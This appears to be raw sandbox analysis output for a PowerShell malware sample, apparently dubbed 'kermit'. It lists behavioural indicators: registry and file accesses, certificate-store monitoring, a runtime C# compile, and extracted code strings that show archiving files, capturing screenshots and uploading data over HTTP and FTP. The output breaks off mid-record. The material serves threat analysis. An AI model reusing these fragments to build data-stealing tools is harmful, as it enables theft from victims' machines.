at base 7ff8cfe8000037:T12e2,file/memory contains long string with (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Split-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Join-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Compress-Archive"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "powershell_ise.exe"; File: "5Z5IWZ5IPFW7556DHPS4.temp") Found string "[System.Net.WebRequest]::DefaultWebProxy = New-Object System.Net.WebProxy" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path "C:\temp\")) { New-Item -Path "C:\temp\" -ItemType Directory -Force }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $CacheFile)) { "{}" | Out-File $CacheFile -Force }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (Test-Path $idFile) {" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path "$driveId\")) { continue }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $path)) { return }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$fileName = if ($customName) { $customName } else { "$($env:COMPUTERNAME)_$(Split-Path $path -Leaf)" }" (Indicator: "Split-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$multipartContent = New-Object System.Net.Http.MultipartFormDataContent" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$fileContent = New-Object System.Net.Http.StreamContent($fileStream)" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$httpClient = New-Object System.Net.Http.HttpClient" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $CacheFile)) { return }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $Vault)) { New-Item $Vault -ItemType Directory -Force | Out-Null }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$ZipPath = Join-Path $Vault $ArchiveName" (Indicator: "Join-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Compress-Archive -Path $Files.FullName -DestinationPath $ZipPath -Force" (Indicator: "Compress-Archive"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$WC = New-Object System.Net.WebClient" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$WC.Credentials = New-Object System.Net.NetworkCredential($Ftp.user, $Ftp.pass)" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$LocalCache = if (Test-Path $CacheFile) { Get-Content $CacheFile | ConvertFrom-Json -AsHashtable } else { @{} }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$p = $p.Trim(); if (-not (Test-Path $p)) { continue }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "} catch { return "error" } finally { if (Test-Path $Vault) { Remove-Item $Vault -Recurse -Force } }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$bmp = New-Object Drawing.Bitmap([Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)" (Indicator: "New-Object"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string ""^clear_cache$" { if(Test-Path $CacheFile){Remove-Item $CacheFile -Force}; "success" }" (Indicator: "Test-Path"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")38:Tbb4,"powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\PROGID") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS")39:T49c,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\Windows\K>.System32\@w.WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\Windows\K>.System32\@w.WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: 5Z5IWZ5IPFW7556DHPS4.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00007108-00000C2E-3517535138] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\c5fnshuj\c5fn" [Source: 00000000-00007108-00000C47-20108483911]3a:T9f1,Process "csc.exe" (UID: 00000000-00006460) was launched with new environment variables: "computername="DESKTOP-FVVF82A", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", homepath="\Users\%OSUSER%", sessionname="Console", tmp="%LOCALAPPDATA%\Temp", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", sslkeylogfile="%TEMP%\sslkey.txt", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", userprofile="C:\Users\%OSUSER%", number_of_processors="8", programfiles="C:\Program Files", processor_level="6", userdnsdomain="DESKTOP-FVVF82A", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", logonserver="%HOSTNAME%", nvm_symlink="%PROGRAMFILES%\nodejs", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", prompt="$P$G", _clrrestrictsecattributes="1", systemdrive="C:", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00006460) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, USERNAME, ProgramFiles(x86), CURL_CA_BUNDLE, PATHEXT, PROCESSOR_ARCHITEW6432, ProgramData, ProgramW6432, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, PROMPT, OneDrive, APPDATA, CommonProgramFiles, Path, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, SystemRoot, TEMP, HOMEDRIVE, USERPROFILE, TMP, CommonProgramFiles(x86), NUMBER_OF_PROCESSORS"3b:T4da,"powershell.exe" reads file "C:\Users\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini"3c:T136f,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\c5fnshuj\c5fnshuj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\c5fnshuj\c5fnshuj.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: c5fnshuj.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\c5fnshuj\c5fnshuj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\c5fnshuj\c5fnshuj.0.cs"" [Source: c5fnshuj.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007108-00000C2B-488630835] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007108-00000C2B-489023805] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007108-00000C2B-489129056] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007108-00000C2B-489219020] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007108-00000C2B-489416012] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007108-00000C2B-489467811] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007108-00000C2B-489520535] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007108-00000C2B-489623905] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007108-00000C2B-489697221] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007108-00000C2B-489746377] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007108-00000C2B-489817014] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007108-00000C2B-489926964] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007108-00000C2B-490016328] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007108-00000C2B-490289979] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007108-00000C2B-490302340] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007108-00000C2B-490438069] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007108-00000C2B-490502264] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007108-00000C2B-490746027] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007108-00000C2B-490832946] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007108-00000C2B-490933457] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00007108-00000C2B-491015530] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00007108-00000C2B-491244323] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00007108-00000C2B-491351344]3d:T43e,file/memory contains long string with (Indicator: "New-Item "; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Add-Type"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "Add-Type -AssemblyName System.Windows.Forms, System.Drawing, System.Net.Http" (Indicator: "Add-Type"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path "C:\temp\")) { New-Item -Path "C:\temp\" -ItemType Directory -Force }" (Indicator: "New-Item "; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$API = Add-Type -MemberDefinition $Signature -Name "Win32Internal" -PassThru" (Indicator: "Add-Type"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $Vault)) { New-Item $Vault -ItemType Directory -Force | Out-Null }" (Indicator: "New-Item "; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")3e:T46c,"StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007108] "c5fnshuj.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\c5fnshuj\c5fnshuj.out]- [targetUID: 00000000-00006460] "c5fnshuj.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\c5fnshuj\c5fnshuj.cmdline]- [targetUID: 00000000-00007108] "c5fnshuj.0.cs" has type "Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\c5fnshuj\c5fnshuj.0.cs]- [targetUID: 00000000-00007108] ".kermit_id" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [C:\temp\.kermit_id]- [targetUID: 00000000-00007108] "urlref_httpifconfig.meip" has type "ASCII text with no line terminators"- [targetUID: 00000000-00007108] "kermit_cache.json" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- Location: [C:\temp\kermit_cache.json]- [targetUID: 00000000-00007108]3f:Tc63,"powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1)40:T563,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER32"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCHANDLER"; Key: ""; Value: "")41:T52e,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "6906E6E1-F9CD-5B3B-C846-27578FD8D69E"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}"; Key: "APPID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WBEM\CIMOM"; Key: "ENABLEOBJECTVALIDATION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")42:T459,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\b5ba37e1558ced178a99011a1d659b52\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\e43dd9c73ab5615e461bf5109c3facd6\system.ni.dll.aux" "powershell.exe" reads file 